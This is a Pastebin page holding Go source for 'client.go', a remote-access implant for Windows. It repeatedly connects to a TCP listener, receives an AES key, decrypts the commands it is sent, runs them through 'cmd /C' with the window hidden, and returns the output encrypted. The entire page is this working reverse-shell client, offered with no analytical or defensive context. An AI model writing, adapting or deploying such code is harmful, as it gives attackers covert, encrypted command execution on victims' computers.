FlyFar

client.go

Jul 17th, 2023
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.16 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import "net"
  4. import "fmt"
  5. import "bufio"
  6. import "os/exec"
  7. import "syscall"
  8. import "encoding/base64"
  9. import "os"
  10. import "time"
  11. import "strings"
  12. import "crypto/aes"
  13. import "crypto/cipher"
  14. import "crypto/rand"
  15. import "io"
  16.  
  17. var EncKey string = ""
  18.  
  19. func main() {
  20.     for {
  21.         conn, err := net.Dial("tcp", "127.0.0.1:8181")
  22.         if err != nil {
  23.             time.Sleep(5 * time.Second)
  24.         } else {
  25.             for {
  26.                 message, _ := bufio.NewReader(conn).ReadString('\n')
  27.                 if len(message) >= 1 {
  28.                     if strings.Contains(string(message), "KEY:") {
  29.                         key := strings.Split(string(message), "KEY:")
  30.                         EncKey = key[1]
  31.                     } else {
  32.                         Command := decrypt([]byte(EncKey), string(message))
  33.                         if Command == "exit" {
  34.                             os.Exit(0)
  35.                         } else {
  36.                             cmd := exec.Command("cmd", "/C", Command)
  37.                             cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  38.                             out, err := cmd.Output()
  39.                             if err != nil {
  40.                                 fmt.Fprintf(conn, encrypt([]byte(EncKey), string("Error running command."))+"\n")
  41.                             } else {
  42.                                 for len(out) >= 1 {
  43.                                     fmt.Fprintf(conn, encrypt([]byte(EncKey), string(out))+"\n")
  44.                                     break
  45.                                 }
  46.                             }
  47.                         }
  48.                     }
  49.                 }
  50.             }
  51.         }
  52.     }
  53. }
  54.  
  55. func encrypt(key []byte, text string) string {
  56.     plaintext := []byte(text)
  57.  
  58.     block, err := aes.NewCipher(key)
  59.     if err != nil {
  60.         panic(err)
  61.     }
  62.  
  63.     ciphertext := make([]byte, aes.BlockSize+len(plaintext))
  64.     iv := ciphertext[:aes.BlockSize]
  65.     if _, err := io.ReadFull(rand.Reader, iv); err != nil {
  66.         panic(err)
  67.     }
  68.  
  69.     stream := cipher.NewCFBEncrypter(block, iv)
  70.     stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
  71.  
  72.     return base64.URLEncoding.EncodeToString(ciphertext)
  73. }
  74.  
  75. func decrypt(key []byte, cryptoText string) string {
  76.     ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
  77.  
  78.     block, err := aes.NewCipher(key)
  79.     if err != nil {
  80.         panic(err)
  81.     }
  82.     if len(ciphertext) < aes.BlockSize {
  83.         panic("Ciphertext too short")
  84.     }
  85.  
  86.     iv := ciphertext[:aes.BlockSize]
  87.     ciphertext = ciphertext[aes.BlockSize:]
  88.  
  89.     stream := cipher.NewCFBDecrypter(block, iv)
  90.  
  91.     stream.XORKeyStream(ciphertext, ciphertext)
  92.  
  93.     return fmt.Sprintf("%s", ciphertext)
  94. }
Add Comment
Please, Sign In to add comment